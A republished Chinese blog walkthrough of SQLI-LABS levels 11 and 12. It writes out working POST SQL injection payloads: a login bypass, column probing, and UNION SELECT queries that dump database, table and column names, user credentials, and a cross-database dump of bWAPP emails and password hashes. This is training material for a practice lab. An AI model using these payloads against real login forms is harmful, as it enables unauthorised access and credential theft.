SQLI-LABS(Less-11、12)

Less-11(POST-Error Based-Single Quotes-String)

打开 Less-11的页面,可以看到一个登录框,需要输入用户名和密码,由本关名字可知SQL语句是单引号闭合。

万能密码

那么先尝试一下万能密码登录,用户名: admin' #、密码随便填一个:

SQLI-LABS(Less-11、12)
从上图可以看出登陆成功,并且会回显账号和密码。

其他方法

判断注入

先随便尝试一个账号密码, uname=name & passwd=pass

SQLI-LABS(Less-11、12)

显示登录失败,接着修改post包,加入 引号看是否会报错.

SQLI-LABS(Less-11、12)

可以发现加入引号之后报错了,并且判断出SQL语句的闭合方式是 单引号。到此可以发现SQL语句的报错会显示在前端页面。

判断当前数据表列数

注入语句: uname=name' order by 1# & passwd=pass

SQLI-LABS(Less-11、12)

当尝试到 uname=name' order by 3# & passwd=pass时,出现了报错,由此可以判断该表只有两列。

SQLI-LABS(Less-11、12)

判断回显位

注入语句: uname=name' union select 1,2 # & passwd=pass

SQLI-LABS(Less-11、12)

判断数用户名和据库名

注入语句: uname=name' union select user(),database() # & passwd=pass

SQLI-LABS(Less-11、12)
通过上述注入可以得知,当前数据库名为 security,当前用户为 root,接着找出这个数据库中的所有数据表。

确定当前数据库内表名

注入语句: uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # & passwd=pass

SQLI-LABS(Less-11、12)
通过上述注入可以得知当前数据库中存在 emailsreferersuagentsusers四张数据表。

确定users表中列名

注入语句: uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() # & passwd=pass

SQLI-LABS(Less-11、12)
通过上述注入可以得知 users表中存在三列,分别为 idusernamepassword

确定users表中的用户名和密码

注入语句: uname=name' union select group_concat(username),group_concat(password) from users # & passwd=pass

SQLI-LABS(Less-11、12)

到此,就得到了当前表中所有的用户名和密码。

跨数据库注入

通过上面的步骤可以看到当前用户是 root用户,那么可以尝试爆其他数据库中的信息。

确定当前服务器上有哪些数据库

注入语句: uname=name' union select 1,group_concat(schema_name) from information_schema.schemata # & passwd=pass

SQLI-LABS(Less-11、12)
通过上述注入可以得知当前服务器中的数据库由: information_schemabWAPPchallengesdvwamysqlperformance_schemasecuritytest

确定bWAPP数据库中的数据表

注入语句: uname=name' union select 1,group_concat(table_name) from information_schema.tables where table_schema='bWAPP' # & passwd=pass

SQLI-LABS(Less-11、12)
上图中可以看出在 bWAPP库中的表分别是 blog, heroes, movies, users, visitors

确定users数据库中的列名

注入语句: uname=name' union select 1,group_concat(column_name) from information_schema.columns where table_schema='bWAPP' and table_name='users' # & passwd=pass

SQLI-LABS(Less-11、12)

可以看到 users表中的列名为: id, login, password, email, secret, activation_code, activated, reset_code, admin

确定users表中的邮箱和密码

注入语句: uname=name' union select group_concat(email),group_concat(password) from bWAPP.users#&passwd=pass

SQLI-LABS(Less-11、12)

这样就成功拿到了邮箱和密码,通过查md5可以得到密码为 bug

Less-12(POST-Error Based-Double Quotes-String-with twist)

通过注入 uname=name" & passwd=pass发现SQL闭合符号为 "),其余操作均与第11关相同。

确定回显位,其余操作不再赘述:

SQLI-LABS(Less-11、12)

Original: https://www.cnblogs.com/Timesi/p/16670561.html
Author: 顾北清
Title: SQLI-LABS(Less-11、12)

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/578201/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • linux中python虚拟环境的创建及问题

    linux中python虚拟环境的创建 LINUX 出现 -BASH-4.2# 问题的解决方法 linux中python虚拟环境的创建 1)安装依赖 >: pip3 inst…

    Linux 2023年6月14日
    096
  • Guava 内存缓存的使用

    一、概述 guava⽬前有三种刷新本地缓存的机制: expireAfterAccess:当缓存项在指定的时间段内没有被读或写就会被回收。 expireAfterWrite:当缓存项…

    Linux 2023年6月16日
    0119
  • 【原创】Linux PCI驱动框架分析(一)

    背景 Read the fucking source code! –By 鲁迅 A picture is worth a thousand words. –…

    Linux 2023年6月8日
    0127
  • 二分查找

    一:二分查找算法 本文章列出刷题中常用的二分查找场景:寻找一个数、寻找左侧边界、寻找右侧边界。 ps:什么最大值的最小,最远的最近。->都是二分 1:1二分查找框架 int …

    Linux 2023年6月7日
    092
  • 【Example】C++ 虚基类与虚继承 (菱形继承问题)

    C++ 是支持多继承的语言, 但是实际项目开发中非必要不要使用多继承以降低代码逻辑的复杂性,当然 C++ 多继承的特性带来一些问题即 菱形继承。 当一个类继承了两个来自同父类的子类…

    Linux 2023年6月13日
    080
  • 面试题:海量数据处理利器-布隆过滤器

    概念 原理 布隆过滤器的使用场景 简单模拟布隆过滤器 Guava布隆过滤器 Redis布隆过滤器 布谷鸟过滤器 作者:小牛呼噜噜 | https://xiaoniuhululu.c…

    Linux 2023年6月6日
    0178
  • Docker基础用法

    Docker基础用法 1、Docker为什么会出现? 一款软件产品必须经过:开发 -> 上线 开发人员负责将应用程序开发制作出来。运维人员负责上线,配置应用程序。 在这里存在…

    Linux 2023年6月7日
    095
  • 【MQTT】使用MQTT.fx上报温度到腾讯云

    打开 腾讯云官网, 注册并登录. 2.登录之后点击右上角的控制台点进去 3.在搜索框[物联网通信],点击进入 4.点击创建新产品 5.选择普通产品,名称随便,选择密钥认证,选择js…

    Linux 2023年6月13日
    0103
  • 手撕spring核心源码,彻底搞懂spring流程

    引子 十几年前,刚工作不久的程序员还能过着很轻松的日子。记得那时候公司里有些开发和测试的女孩子,经常有问题解决不了的,不管什么领域的问题找到我,我都能帮她们解决。但是那时候我没有主…

    Linux 2023年6月14日
    0124
  • MySQL日志管理之二进制日志

    二进制日志采用二进制格式(01)来存储日志信息(导致数据发生变化的SQL语句),二进制日志记录整个数据库的修改过程。 MySQL的二进制日志主要就是起一个备份的功能。二进制日志≈备…

    Linux 2023年6月7日
    0105
  • 就业班第一周作业

    是由 Patrick Volkerding 开发的 [GNU/Linux]发行版,于 1993 年创建,最初基于 Softlanding Linux System。典型代表系统是S…

    Linux 2023年6月13日
    084
  • postgres 切换数据库提示remaining connection slots are reserved for non-replication superuser connections

    场景 使用下面命令在pg终端内,切换数据库时提示 \c db_name pg_user; # pg_user是非超级用户 报错 psql: FATAL: 53300: remain…

    Linux 2023年6月8日
    099
  • 常用命令记录

    npm仓库查看和修改 npm config set registry https://registry.npm.taobao.org #设置使用淘宝提供的npm仓库 npm con…

    Linux 2023年6月14日
    076
  • 数据结构 一元多项式加减法计算器

    cpp;gutter:true;</p> <h1>include</h1> <p>using namespace std;</…

    Linux 2023年6月13日
    090
  • CH9102与CP2102应用注意事项

    CH9102(WCH)与CP2102的不同子型号之间可实现pintopin兼容,可以在不更改硬件设计的前提下实现不同型号间快速切换与产品应用。CH9102的子型号包括:CH9102…

    Linux 2023年6月7日
    0100
  • redis缓存按条件查询,删除等等i_master_cell

    先用hash 存masterid中的全部i_master_cell key为master_id hash里面为key 为cell_id value为i_master_cell的各个…

    Linux 2023年5月28日
    091
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球